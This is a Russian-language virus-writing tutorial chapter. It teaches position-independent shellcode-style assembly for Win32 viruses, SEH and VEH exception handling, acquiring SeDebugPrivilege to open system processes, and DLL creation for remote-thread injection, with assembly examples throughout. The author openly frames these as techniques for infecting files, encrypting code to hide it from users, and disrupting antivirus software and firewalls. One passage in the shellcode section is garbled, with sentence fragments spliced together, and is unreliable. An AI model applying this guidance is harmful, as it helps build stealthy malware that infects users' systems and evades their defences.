[ От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования:
SEH, VEH и API Hooking. Отключение Windows File Protection. ]
* <От зеленого к красному>.
* Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking.
Отключение Windows File Protection.
* Программирование в Shell-код стиле.
* Обобщенный пример программирования в Shell-код стиле.
* Важные техники системного программирования.
* Structured Exception Handling. 4
* Введение.
* Конечный обработчик.
* Внутри-поточный обработчик.
* Продолжение выполнения с безопасного места.
* Заключение.
* Vectored Exception Handling (VEH)
* VEH изнутри.
* Перехват вызовов функций.
* Общая картина.
* Привилегии.
* Dinamic Link Library.
* Общая картина.
* Создание DLL.
* Внедрение и исполнение удаленного кода.
* Способы перехвата функций.
* Правка таблицы импорта.
* Простой пример - перехват MessageBox.
* Перехват LoadLibrary.
* Сплайсинг.
* Простой пример - перехват MessageBox.
* Сплайсинг с сохранением оригинальной функции.
* Перехват правкой системных библиотек на жестком диске.
* Windows File Protection.
* Отключение Windows File Protection на лету.
* Глобальный перехват.
* Примеры использования перехвата вызовов функций.
* Использованные источники и источники для дальнейших исследований.
* SEH и VEH..
* Windows File Protection.
* API Hooking.
* Заключение.
* The Passion Of Code ( TPOC ) Laboratory.
* Спасибо:...
Программирование в Shell-код стиле
Этот раздел является своеобразным обобщением первых двух глав. Прочтя его, Вы сможете уже без особых трудностей писать
простые Win32-вирусы. Код в shell-код стиле или как он еще называется - базово-независимый код требует определенных
условий при его написании. Основное условие - чтобы код не зависел от адреса загрузки его в адресное пространство
процесса-жертвы и от структур данных загрузчика. Надо определить адрес какой-нибудь команды, где она находилась
первоначально (т.е. в первом поколении). Это значение будет константой, зашитой в коде. Далее код должен определить,
где он находиться в данный момент. Для этого есть несколько способов, которые описывались в 1 главе. Вот это и
называется дельта-смещением.
Также мы должны знать адреса функций API, чтобы вирус был мульти-платформенным относительно Windows, т.е. работал во
всех ОС Windows, т.к. известно, что адреса API-функций меняются в зависимости от ОС, а также могут поменяться в той же
ОС в какой-то конфликтной ситуации, например при конфликте разделов виртуальной памяти. Для получения адресов, нужных
нам функций ОС, существует много способов. Основы получения адресов мы рассмотрели. При получении адресов ОС Windows
мы выполняем часть работы загрузчика. При загрузке исполняемого файла (PE, DLL, SYS, SCR) в адресное пространство
процесса загрузчик заполняет таблицу адресов импорта (Import Address Table) и таблицу адресов экспорта (Export Address
Table). При выполнении кода этого исполняемого файла IAT используется, чтобы хранить адреса всех API-функций, которые
использует приложение. Таким образом, мы касаемся неявного связывания (implicit linking). Адрес API-функции может и не
быть в IAT, его можно получить с помощью функции KERNEL32.DLL!GetProcAddress. Этой функции на вход передается описатель
модуля, в котором экспортируется нужная функция и имя нужной функции. KERNEL32.DLL!GetProcAddress просматривает EAT
модуля, описатель которого передается ей параметром (а описателем модуля(module handle), как известно является его
базовый адрес(base address) в адресном пространстве процесса, в котором он загружен). Даже при неявном связывании ОС
вызывает GetProcAddress для заполнения IAT. Мы своим кодом эмулируем процедуру GetProcAddress - не больше не меньше!
В исполняемом файле есть несколько секций, которые имеют свои атрибуты. Например, секция кода не предназначена для записи.
Есть секция неинициализированных данных, которая имеет нулевой размер физически, но при загрузке данного исполняемого
модуля в память эта секция приобретает материальный характер. Чтобы это было именно так, загрузчик просматривает таблицу
секций и если он видит, что данная секция - секция неинициализированных данных, то он выделяет память в адресном
пространстве процесса с помощью функций выделения памяти. Наш код находится всегда в одной секции. Чтобы таким же
образом использовать виртуальное адресное пространство для своих целей приходиться использовать функции резервирования и
выделения памяти в куче или, напрямую, - в виртуальной памяти.
Более того, есть проблема - если ЮЗВЕРЬ (классное слово :) ) посмотрит файл, зараженный нашим кодом, то он визуально
сможет найти там чего-нибудь подозрительное. Чтобы этого не случилось приходиться шифровать наш код или строки текста,
создавая соответственно, и расшифровщик. Но это естественно не единственное применение шифрования в коде.
Представьте, что у нас есть код обычного приложения подсистемы Win32 на ассемблере. Задача: превратить его в код в
Shell-код стиле. Сначала надо все переменные переместить в секцию с кодом и соответственно поставить прыжок на
нормальный код, чтобы эти данные не начали выполняться как код. Потом вычислить дельта-смещение. Далее получить
адреса всех API-функций. После этого можно превращать обычный код в код в Shell-код стиле, т.е. заменять все смещения -
смещениями с учетом дельта-смещения.
Пример:
Первоначальный код:
invoke MessageBox,0,offset Text1,offset Title1, MB_OK
.IF eax==0
jmp error
.ENDIF
:
error:
Во-первых, переменные offset Text1, offset Title1 должны находиться в секции кода - т.е. там, где находиться код вируса.
Из-за этого секцию с таким кодом нужно делать доступным для записи. Во-вторых, offset Text1 - это абсолютный адрес.
Допустим, что мы вычислили дельта-смещение и поместили его в регистр EBP. ы вычислили дель с таким кодом нужно делать
доступным для записи. твественно и расшифровщик. ной ситуации.С учетом вычисленного дельта-смещения мы должны его
исправить т.о.
lea edi, [ebp+ offset Text1]
Теперь в EDI находиться реальный адрес строки Text1. Также делаем и со всеми остальными переменными. Допустим, что
адрес функции MessageBox, находиться в переменной _MessageBox. Тогда вызываем функцию так:
push MB_OK
lea esi,[ebp+ offset Title1]
push esi
lea esi,[ebp+ offset Text1]
push esi
push 0
mov eax,[ebp+_MessageBox]
call eax
Две строки
mov eax,[ebp+_MessageBox]
call eax
можно заменить одной
call dword ptr [ebp+_MessageBox]
Пример Закончен.
Как известно система команд современных 32-х разрядных процессоров не содержит в себе дальнего условного перехода. Но
у нас код и данные расположены в одном большом сегменте, т.о. мы можем переходить на любые расстояния, используя
модель памяти FLAT. Но нет команды, которая осуществляет косвенный переход. Т.е., если у нас адрес хранится в
каком-нибудь регистре, то мы не можем использовать команду условного перехода, например так - jne EDI. Вот как можно
реализовать косвенный переход
Пример:
cmp eax,0
jne Next
jmp edi
Next:
:
Пример Закончен.
Этот код означает следующее - если значение в регистре EAX равно нулю, то делается дальний переход на адрес, который
находиться в EDI.
При программировании в shell-код стиле полезно пользоваться процедурами, т.к. в них можно использовать локальные
переменные и они базово-независимы в принципе, т.к. используют стек. Но здесь возникает небольшой вопрос - где хранить
дельта-смещение? Вопрос возникает потому, что мы обычно храним дельта-смещение в регистре EBP. В процедурах, регистр
EBP используется для своего первоначального предназначения - хранить базу кадра стека. Здесь можно пофантазировать. Я
использовал локальную переменную для хранения дельта-смещения.
Директивы компилятора .IF,.WHILE и т.д. Вы можете применять без особых проблем, т.к. у нас всего один сегмент. В случае
этих директив компилятор генерирует код, в который входят только относительные адреса.
API-функции мы будем вызывать по абсолютным адресам, для чего мы и получили их адреса. В итоге, первоначальный код,
который мы решили перевести в код в Shell-код стиле превращается в такой:
Пример:
push MB_OK
lea esi,[ebp+ offset Title1]
push esi
lea esi,[ebp+ offset Text1]
push esi
push 0
call dword ptr [ebp+_MessageBox]
.IF eax==0
jmp error
.ENDIF
:
error:
Пример Закончен.
В команде jmp error также используется относительный переход. По умолчанию в JMP в MASM'е трактуется как прямой
внутрисегментный переход.
При программировании удобно использовать макросы. Посмотрите пример
Пример:
api macro x
call dword ptr [ebp+x-delta]
endm
А вот так это можно использовать:
api _MessageBox
Пример Закончен.
Обобщенный пример программирования в Shell-код стиле
В этом разделе я хотел привести нормальную программу, а потом эту же программу, но в Shell-код стиле. Но потом я
передумал :) Код той и другой программы находятся в архиве, который прилагается к статье. Итак, программа рекурсивного
поиска. Программа выводит на экран с помощью MessageBox'а количество найденных файлов с расширением EXE в указанной
директории и всех ее поддиректориях. Файлы ищутся в директории, имя которой находиться по адресу Buffer. В архиве есть
папка, которая называется ShellCoded. В ней нормальная программа называется - normal.asm, в Shell-код стиле -
shellcode.asm. Внимательно рассмотрите эти программы и попробуйте их сравнить. Также потренируйтесь переводить свои
программы таким же образом.
Т.о. Вы можете переводить обычное Win32-приложение в приложение в shell-код стиле. Во вложении к статье я также
предлагаю Вам шаблон файла, где Вам не придется получать дельта смещение и адреса API-функций. Там уже все есть как в
сказке! Почти всё ;) Файл называется VXTemplateWin32.asm.
Важные техники системного программирования
Structured Exception Handling
Введение
Structured Exception Handling (SEH) - структурная обработка исключений, механизм, который поддерживается операционной
системой и позволяющий обрабатывать ошибки в программах. В этом разделе я расскажу Вам, что такое SEH, как работает
данный механизм и как его использовать в своих вирусах.
SEH - это системный механизм. Представьте, что Ваша программа попытается выполнить следующий код:
Пример:
xor eax,eax
mov dword ptr [eax],1 ;Записываем по адресу 0 - единицу.
Пример Закончен.
Любое обращение к адресам от 0 до 0FFFFh ведет к исключению нарушения доступа к памяти. Конечно, ошибка нарушения
доступа к памяти появляется не только для этих адресов, но и для всех адресов выше 2х Гб в виртуальном адресном
пространстве, а также если мы пытаемся обратиться к не переданным страницам или например, произвести запись к
странице к которой мы не имеем право на запись.
Исключение - это событие, которое происходит в результате какой-либо ошибки. Каждое исключение имеет свой код.
Например, код неправомерного доступа к памяти - 0C0000005h. Коды исключений определены в файле WINBASE.H. Допустим,
выполняется пример кода, когда мы записываем 1 по адресу 0, тогда возникает исключение. ОС должна реагировать на
исключение. Обычно при возникновении исключения ОС вызывает функцию, которая называется обработчиком исключений
(exception handler). Эта функция - обычная CALLBACK-функция принимающая несколько параметров. Если мы обрабатываем
это исключение, то мы пишем обработчик и в определенном месте указываем его адрес, чтобы, если произошло исключение,
ОС смогла вызвать наш обработчик. Если обработчик выполнился, ОС решает, что дальше делать исходя из возвращаемого
значения, которой вернул обработчик. Исходя из этих соображений, программа может продолжить работу, программа может
завершиться или ОС вызывает следующий обработчик в цепочке (если таковой имеется). Т.е. можно устанавливать несколько
обработчиков. Если мы сами не установили обработчик, то в любом приложении установлен обработчик по умолчанию и если
случиться исключение, то ОС выведет сообщение о завершении программы. (1.jpg)
Если на участок кода приведенном в примере установлен обработчик, то мы можем обработать эту ошибку с помощью специально
написанного обработчика. Существует два типа обработчиков исключений - конечные и внутри-поточные. Итак:
Конечный обработчик
Если программа вызвала исключение, то, если внутри-поточные обработчики не установлены или не обрабатывают исключение,
вызывается конечный обработчик. Конечный обработчик глобален для процесса, в котором он установлен, в отличии от
внутри-поточного. Конечный обработчик устанавливается с помощью API-функции KERNEL32.DLL!SetUnhandledExceptionFilter.
Как Вы заметили :) она экспортируется из kernel32.dll. С помщью этой функции можно установить конечный обработчик.
Если в Вашей программе произошло исключение и его не обрабатывают никакие внутри-поточные обработчики, то вызывается
конечный обработчик. Конечный обработчик вызывается как раз перед тем, когда ОС решила закрыть приложение. Смещение
конечного обработчика передается как параметр функции KERNEL32.DLL!SetUnhandledExceptionFilter.
Пример:
Handler proc EXCEPT:DWORD
:; здесь обрабатываем ошибочку
ret
Handler endp
::..
lea eax,[ebp+Handler]
push eax
call [ebp+_SetUnhandledExceptionFilter];установка конечного обработчика
:.; защищенный код. Если здесь будет исключение,
; то вызовется функция по адресу Handler
Пример Закончен.
Функция-обработчик такой прототип прототип:
LONG UnhandledExceptionFilter( STRUCT _EXCEPTION_POINTERS *ExceptionInfo);
Прототип этой функции я взял из SDK. Также там описаны и возвращаемые значения этой функции. А возвращаемые значения
могут быть такие:
* eax = -1 - перегрузить контекст и продолжить
* eax = 1 - выключает вывод Message Box'а
* eax = 0 - включает вывод Message Box'а
Прототип конечного обработчика отличается от прототипа внутри-поточного обработчика.
Если что-то произошло в коде вируса, то надо просто перепрыгнуть на нормальный код программы, если этот код внедрен в
программу и выполняется до ее старта. Если код вируса выполняется в потоке, то мы завершаем поток. Конечно, можно
попробовать исправить ошибку, и продолжить выполнение.
Внутри-поточный обработчик
Если мы хотим обрабатывать ошибки для каждого потока, т.е. устанавливать свой обработчик для каждого вида ошибок в
потоке, то мы должны установить внутри-поточный обработчик. Например, ошибка нарушения доступа к памяти в одном потоке
будет обрабатываться по-своему, а в другом потоке та же ошибка, уже по-другому, в зависимости от обработчика. Из
внутри-поточных обработчиков можно делать цепочки. Т.е. если один обработчик не обрабатывает исключение, то исключение
может обработать следующий обработчик в цепочке.
По адресу FS:[0] находиться указатель на структуру SEH, ее называют SEH-фрейм.
Вот описание этой структуры:
SEH struct
PrevLink dd ? ; адрес предыдущего SEH-фрейма
CurrentHandler dd ? ; адрес обработчика исключений
SafeOffset dd ? ; Смещение безопасного места
PrevEsp dd ? ; Старое значение esp
PrevEbp dd ? ; Старое значение ebp
SEH ends
Когда мы устанавливаем обработчик исключения вручную, то мы заполняем структуру SEH и передаем указатель на нее в
FS:[0]. Структура SEH должна состоять как минимум из 2-х первых двойных слов. Эта новая созданная структура должна
обязательно находиться в стеке, иначе наш обработчик не будет вызван. Более того, очередная новая созданная структура
должна находиться в стеке выше, чем предыдущие установленные структуры.
Вот как можно установить внутри-поточный обработчик:
Пример:
lea eax,[edx+Handler];В edx - дельта смещение
push eax ;Формируем структуру SEH
push FS:[0];Формируем структуру SEH
mov FS:[0],ESP
:;Защищенный код
pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры SEH
add ESP,4;убираем из стека оставшийся адрес обработчика из структуры
:
Handler proc ExcRec:DWORD, SehFrame:DWORD, Context:DWORD, DispatcherContext:DWORD
mov eax,0
ret
Handler endp
Пример Закончен.
Когда поток начинает только выполняться, у него уже установлен один обработчик, обработчик по умолчанию, который выводит
сообщение о завершении программы.
Если присмотреться внимательно, то можно понять, что вышеприведенным кодом добавляется очередной элемент в связный
список. По адресу FS:[0] содержится указатель на структуру SEH, в которой имеется адрес предыдущей структуры SEH в
стеке. Этот связный список называется SEH-цепочка (SEH-chain). Так формируется цепочка из обработчиков исключений.
Сцепление в цепочку обработчиков делается, например для того, чтобы каждый обработчик в цепочке обрабатывал свои типы
исключений. Если первый обработчик не обработал исключение, то он возвращает eax=1 и управление передается следующему
обработчику в цепочке. Т.е. если обработчик возвращает 1, то ОС переходит к следующему элементу в цепочке. Также для
каждого куска кода может быть свой обработчик. Если данный обработчик - последний в цепочке, то у него указатель на
предыдущий обработчик (поле PrevLink) будет равен -1. Чтобы точно понять, что же такое цепочка из внутри-поточных
обработчиков посмотрите на рисунок: (2.jpg)
При вызове внутри-поточного обработчика ОС использует Си-договоренность о передаче параметров, вместо стандартной
договоренности, т.е. стек после вызова, вызывающий код, должен сам уравнивать, что ОС и делает.
Прототип внутри-поточного обработчика имеет вид
EXCEPTION_DISPOSITION __cdecl _except_handler (
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,//указатель на структуру SEH
struct _CONTEXT *ContextRecord,//Указатель на структуру CONTEXT
void * DispatcherContext
);
Ообработчик имеет доступ к структуре EXCEPTION_RECORD, которая содержит подробную информацию о исключении. С помощью
адреса структуры SEH можно получить доступ к локальным переменным, т.к. структура SEH находится в стеке. Из структуры
CONTEXT можно получить значения всех регистров, которые они имели во время возникновения исключения. Структуру CONTEXT
также можно редактировать, чтобы исправить ошибку и продолжить выполнение программы. Параметр DispatcherContext обычно
не используется.
В заключение этого раздела приведу значения, которые могут возвращать конечный обработчик:
* eax = 1 - ОС вызывает следующий обработчик в цепочке
* eax = 0 - перезагружаем контекст и продолжаем
Продолжение выполнения с безопасного места
Внутри-поточный обработчик
Когда мы просто прыгаем на безопасное место из обработчика, мы не сохраняем никакие регистры, кроме регистра EIP.
Например, регистры ESP, EBP не сохраняются. Именно поэтому такой способ - <грязный>. Есть техника позволяющая сохранять
регистры, а также иметь доступ к локальным данным. Для этого нужно написать соответствующий обработчик. Используя эту
технику можно исправить ошибку и продолжить выполнение с безопасного места. Вот маленькая программа, где используется
техника продолжения выполнения с безопасного места:
Пример:
.386p
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include---------------------
includelib \tools\masm32\lib\user32.lib
includelib \tools\masm32\lib\kernel32.lib
includelib \tools\masm32\lib\gdi32.lib
includelib \tools\masm32\lib\advapi32.lib
include \tools\masm32\include\windows.inc
include \Tools\masm32\include\proto.inc
include \tools\masm32\include\user32.inc
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\gdi32.inc
include \tools\masm32\include\advapi32.inc
;----------------------End IncludeLib and Include-----------------
SEH struct
PrevLink dd ? ; адрес предыдущего SEH-фрейма
CurrentHandler dd ? ; адрес обработчика исключений
SafeOffset dd ? ; Смещение безопасного места
PrevEsp dd ? ; Старое значение esp
PrevEbp dd ? ; Старое значение ebp
SEH ends
.data
seh db "In SEHHanlder",0
seh1 db "After Exception SEHHanlder",0
.code
start:
assume fs:nothing
push ebp
push esp
push offset Next
push offset SEHHandler
push FS:[0]
mov FS:[0],ESP
;здесь начинается защищенный код
mov eax,0
mov dword ptr [eax],1
pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры ERR
add ESP,16;убираем из стека оставшийся адрес обработчика из структуры
Next:
invoke MessageBox,0,offset seh1,offset seh1,0
invoke ExitProcess,0
SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
mov edx,pFrame
assume edx:ptr SEH
mov eax,pContext
assume eax:ptr CONTEXT
push [edx].SafeOffset
pop [eax].regEip
push [edx].PrevEsp
pop [eax].regEsp
push [edx].PrevEbp
pop [eax].regEbp
invoke MessageBox,0,offset seh,offset seh,0
mov eax,ExceptionContinueExecution
ret
SEHHandler endp
end start
Пример Закончен.
В начале программы, в стеке создается SEH-фрейм. По адресу FS:[0] передается указатель на этот SEH-фрейм. Помимо
смещения обработчика и адреса предыдущего SEH-фрейма мы передаем смещение безопасного места, значение ESP и EBP. Т.о. мы
заполняем все поля структуры SEH. Если происходит исключение, то управление передается обработчику исключений SEHHandler.
Обработчик исключений, используя переданную ему структуру SEH заполняет некоторые поля структуры CONTEXT, а именно
регистры ESP(для сохранения вершины стека), EBP(для доступа к локальным данным), EIP(для перехода на безопасное место).
Обработчик возвращает 1 или константу ExceptionContinueExecution, чтобы сообщить операционной системе, что обработчик
обработал исключение и необходимо продолжить выполнение программы в контексте указанной в структуре CONTEXT.
Финальный обработчик
В финальном обработчике также можно перезагружать контекст таким образом, чтобы выполнение продолжалось с безопасного
места. Но если мы хотим продолжить выполнение программы возвращать обработчик должен уже не 1, а -1. Финальному
обработчику в отличие от внутри-поточного передается только структуры CONTEXT, EXCEPTION_RECORD, а структура SEH не
передается, поэтому значения регистров EIP, EBP, ESP надо хранить в статической памяти или что-либо подобное, например в
куче.
Заключение
SEH также используют для переполнения стека или переполнения кучи, с помощью подмены обработчика. Это уже штучки
создателей эксплойтов - отдельное сообщество компьютерного андеграунда, так же как и вирмейкеры. Очень хорошо, когда
сообщества объединяются или комбинируются. Остальную информация о SEH - такую как - <раскрутка стека>, <информация,
которая передается обработчику>, и т.д. можно прочитать в статье Джереми Гордона.
Vectored Exception Handling (VEH)
VEH - или векторная обработка исключений - относительно новый механизм обработки исключений. Он появился впервые в
операционной системе Windows XP. Вы, наверное, испугались названия, но не бойтесь, использовать VEH очень просто.
VEH это тоже самое, что и SEH - также устанавливаются обработчики исключений. Но в этих механизмах есть несколько
различий. Во-первых, никаких служебных слов типа try, except, finally для С++, как раньше, нет. Т.е. это не
надстройка компилятора. Во-вторых, и это очень важно - VEH это не stack-frame based механизм. Т.е. раньше все SEH-фреймы
были в стеке. Теперь же узлы VEH'а находятся в куче. В-третьих, VEH обработчики глобальны для процесса. Из VEH
обработчиков можно делать цепочки.
Можно сравнить VEH с финальными обработчиками UnhandledExceptionFilter из которых можно делать цепочки. Различие с
финальным обработчиком и в том, что векторный обработчик вызывается в первую очередь(т.е. до SEH), а финальный в последнюю.
Чтобы установить векторный обработчик мы вызываем функцию AddVectoredExceptionFilter. Вот ее прототип:
PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler
);
FirstHandler - если этот параметр не ноль, то обработчик устанавливается, как следующий элемент в цепочке. Т.е. при
возникновении исключения именно он вызовется ОС. Если этот параметр ноль, то обработчик устанавливается в начало цепочки
и вызывается в том случае, если все остальные обработчики в цепочке не обрабатывают исключение, т.е. возвращают
EXCEPTION_CONTINUE_SEARCH.
Огромным преимуществом VEH'а над SEH'ом в том, что он отлавливает абсолютно все исключения для всех потоков. А вот
у SEH'а с этим проблемы.
Пример использования VEH'а:
Пример:
lea eax,[ebp+Handler];В EBP - дельта-смещение
push eax
push 1
call dword ptr [ebp+_AddVectoredExceptionHandler]
:;защищенный код
Handler proc Record:DWORD;обработчик
:;обработка исключения
mov eax,1;Проход дальше по цепочке
ret
Handler endp
Пример Закончен.
VEH изнутри
Я попытался исследовать VEH изнутри. Что из этого получилось, описано в этом разделе.
В модуле NTDLL.DLL есть статическая глобальная переменная. Назовем её CurrentVEHFrame. В этой переменной содержится
адрес текущего VEH-фрейма. При вызове функции AddVectoredExceptionHandler в куче создается новый VEH-фрейм и заполняется
соответствующими значениями. VEH-фреймом я называю структуру, которая определена следующим образом
VEH struct
Prev dd ?
pСurrentVEHFrame dd ?
EncodeVEHHandler dd ?
VEH ends
Prev - адрес в куче предыдущего VEH-фрейма. Если это самый последний фрейм, то его значение равно значению адреса
переменной CurrentVEHFrame.
pСurrentVEHFrame - адрес переменной CurrentVEHFrame
EncodeVEHHandler - закодированный адрес обработчика. Чтобы получить виртуальный адрес обработчика необходимо вызвать
функцию RtlDecodePointer библиотеки NTDLL(можно написать так: NTDLL!RtlDecodePointer).
Т.о. при вызове функции AddVectoredExceptionHandler в цепочку векторных обработчиков добавляется новый элемент.
Цепочка представляет связанный список. Вот рисунок, который иллюстрирует сказанное: (3.jpg)
Здесь при возникновении исключения будет вызван обработчик Handler1. Если он не обрабатывает исключение, то управление
передается обработчику, следующему в цепочке. Еще раз повторю, что ОС определяет, что обработчик является последним в
цепочке, если pCurrentVEHFrame==Prev. Это показано на рисунке.
Перехват вызовов функций
Общая картина
Перехват вызовов функций называется также <Per-process residency> техника, применяемая в операционных
системах Windows. С ОС Windows поставляются файлы с расширением DLL - Dinamic Link Library. Это библиотеки динамической
компоновки. Они экспортируют функции, чтобы их могли вызвать другие приложения или DLL. Чтобы приложение могло
использовать какие-то сервисы ОС, оно должно вызвать одну из функций, которая экспортируются системной DLL. Все функции
ОС хранятся в системных DLL. Функции, которые являются посредниками между ОС и приложением называются API(Application
Programming Interface)-функциями. Соль механизма перехвата функций состоит в следующем. Когда приложение вызывает
API-функцию мы можем вместо оригинальной функции вызвать свою функцию, которая может изменить результат вызова для
приложения-жертвы (для того приложения, в котором мы перехватываем функции). Т.о. мы можем изменять логику работы
любого приложения. Т.е. любое обращение программы к ОС мы можем контролировать, изменять или просто наблюдать за работой
какого-то приложения. Мы можем понять, как работает та или иная программа по функциям, которая она вызывает. И этот
способ контроля будет значительно проще для анализа, чем простая отладка. Тем более некоторые программы используют
анти-отладочные механизмы. Некоторые операции в ОС Windows вообще нельзя осуществить без помощи перехвата API-функций.
Перехватывать можно не только API-функции, но и любые экспортируемые функции.
В вирусологии техника перехвата особенно полезна. Она используется для продвинутого заражения файлов,
полезной нагрузки, получения информации нужной вирусу (например, путь к файлу для заражения), скрытия присутствия,
уничтожения или нарушения работы ненужных нам программ (антивирусов и брандмауэров).
В адресное пространство любого процесса загружена библиотека NTDLL.DLL. При вызове функций из
kernel32.dll, например, OpenProcess в конечном итоге вызывается функция ZwOpenProcess, которая находиться в NTDLL.DLL.
Низкоуровневые функции, которые находятся в NTDLL.DLL называются NativeAPI функции. Лучше перехватывать именно их,
чтобы процесс жертва не смог отделаться от перехвата даже с помощью вызова Native API. Можно и просто исправить перехват.
Но чтобы и этого не случилось, необходим перехват в нулевом кольце. Здесь мы будем заниматься только третьим кольцом.
Привилегии
Перехват вызовов функций делается при помощи некоторого механизма. Этот механизм применим для одного
конкретного процесса. Если мы хотим глобализировать наш перехват, то мы должны применить технику перехвата для всех
процессов в системе. Но по умолчанию даже пользователь с привилегиями администратора не имеет возможности получить
доступ к системным процессам (например, winlogon.exe). Чтобы перехватывать функции и в системных процессах необходим
доступ к этим системным процессам. Вообще, для внедрения кода в удаленный процесс (а это один из важных шагов механизма
перехвата) необходимы следующие привилегии:
* PROCESS_CREATE_THREAD - для создания потока в удаленном процессе
* PROCESS_VM_WRITE - для записи в память удаленного процесса
* PROCESS_VM_OPERATION - для операций типа изменения прав доступа к памяти (protect и lock).
Чтобы открыть системный процесс с такими привилегиями, вызывающий функцию KERNEL32.DLL!OpenProcess должен иметь
привилегию SeDebugPrivilegies. Ниже представлена процедура на ассемблере получения данной привилегии:
Пример:
EnableDebugPrivilege proc
LOCAL hToken:DWORD
LOCAL tkp:TOKEN_PRIVILEGES
LOCAL ReturnLength:DWORD
LOCAL luid:LUID
mov eax,0
invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
.IF eax==0
invoke CloseHandle,hToken
ret
.ENDIF
mov tkp.PrivilegeCount,1
lea eax,tkp.Privileges
assume eax:ptr LUID_AND_ATTRIBUTES
push luid.LowPart
pop [eax].Luid.LowPart
push luid.HighPart
pop [eax].Luid.HighPart
mov [eax].Attributes,SE_PRIVILEGE_ENABLED
invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
invoke GetLastError
.IF eax!=ERROR_SUCCESS
ret
.ENDIF
mov eax,1
ret
EnableDebugPrivilege endp
Пример Закончен.
Здесь Priv - это строка определенная так:
Priv db "SeDebugPrivilege",0
После вызова данной функции вызывающий ее процесс может открывать системные процессы.
Пример:
call EnableDebugPrivilege
push ProcID;ID системного процесса
push 0
push PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION
call OpenProcess
Пример Закончен.
GetLastError вернет ERROR_SUCCESS. Если открыть системный процесс без вызова функции EnableDebugPrivilege, то OpenProcess
вернет ноль, а GetLastError вернет ERROR_ACCESSDENIED.
Dinamic Link Library
Общая картина
Чтобы перехватить функцию в каком-нибудь процессе необходимо выполнить код в этом процессе. Изначально
этот код не содержится в этом процессе. Т.е. его необходимо туда поместить. Для этого есть два способа: 1) Внедрение
кода с помощью DLL. 2) Простое копирование кода в шел-код стиле. Большинство методов перехвата API функций используют
внедрение кода с помощью DLL, т.к. при этом нет требования базовой независимости и зависимости от адресов API-функций.
В случае вируса нам желательно не создавать никаких DLL, хотя нет никаких проблем, если мы создадим ее. При этом есть
ограничение - это размер кода, который будет внедрен в жертву при заражении. Как создавать код в шел-код стиле мы уже
знаем, теперь рассмотрим как создать DLL.
DLL - это обычный PE-файл, в котором есть соответствующий флаг поля Characteristics файлового заголовка.
В EXE-файле не может быть этого флага. Если в EXE файле стоит флаг DLL, то он считается некорректным. DLL - это обычно
набор функций, которые экспортируются другими модулями. У DLL, как и у любого EXE файла есть точка входа. Для DLL точка
входа указывает на функцию, которую условно можно назвать DLLMain. Вот её прототип:
DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
hInstDLL - описатель данной DLL
Эта функция вызывается при определенных событиях. В результате какого события была вызвана функция DLL указано в
параметре reason.
Вот его возможные значения и их описание:
* DLL_PROCESS_ATTACH - DLL получает это значение, когда впеpвые загpужается в адpесное пpостpанство пpоцесса. Вы
можете использовать эту возможность для того, чтобы осуществить инициализацию. При этом значении мы устанавливаем
перехватчик.
* DLL_PROCESS_DETACH - DLL получает это значение, когда выгpужается из адpесного пpостpанства пpоцесса. Вы можете
использовать эту возможность для того, чтобы "почистить" за собой: освободить память и так далее.
* DLL_THREAD_ATTACH - DLL получает это значение, когда пpоцесс создает новый поток.
* DLL_THREAD_DETACH - DLL получает это значение, когда поток в процессе был уничтожен.
Создание DLL
Создание DLL мало отличается от создания EXE. Вот код самой простой DLL:
Пример:
;----------------------------------------------------------------------------
; DLL.asm
;----------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
.code
DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH
;код
.elseif reason==DLL_PROCESS_DETACH
;код
.elseif reason==DLL_THREAD_ATTACH
;код
.else ; DLL_THREAD_DETACH
;код
.endif
mov eax,TRUE
ret
DllMain Endp
TestFunction proc;Функция, которая ничего не делает, но экспортируется
ret
TestFunction endp
end DllMain
;----------------------------------------------------------------------------
Пример Закончен.
Также необходимо создать файл с расширением DEF, который должен быть примерно такого вида:
Пример:
;----------------------------------------------------------------------------
; DLL.def
;----------------------------------------------------------------------------
LIBRARY DLL
EXPORTS TestFunction
;----------------------------------------------------------------------------
Пример Закончен.
Где LIBRARY - имя библиотеки, EXPORTS - имя функции, которая экспортируется из DLL(EXPORTS может быть несколько).
Необходимо при вызове DLLMain сохранять регистры esi,edi,ebx,ebp и восстанавливать их при выходе из DllMain.
Для компиляции DLL нужно создать как обычно объектный файл, а для линковки используйте следующую строку:
link /DLL /SUBSYSTEM:WINDOWS /DEF:DLL.def DLLSkeleton.obj
Видите, ключ /DLL указывает на установку флага DLL в файловом заголовке.
Внедрение и исполнение удаленного кода
Внедрить DLL в адресное пространство постороннего процесса можно несколькими способами. А именно: с помощью реестра, с
помощью хуков, с помощью удаленных потоков, с помощью замены оригинальной DLL, а также DLL можно внедрить как отладчик
или через функцию KERNEL32.DLL!CreateProcess. Все эти способы описаны в книгe Джеффри Рихтера <Windows для
профессионалов>. Можно также и даже проще внедрить просто посторонний код в чужой процесс. Хотя в этом случая потребуется
время на его создание. Но мы-то с Вами знаем теперь как делать такой код.
Я буду использовать метод внедрения DLL с помощью удаленных потоков, т.к. он является самым гибким. Но вы можете
использовать любой другой. Это совершенно не принципиально, главное чтобы внедрение происходило правильно и в нужные
приложения. Методы внедрения, конечно, отличаются друг от друга и налагают некоторые ограничения.
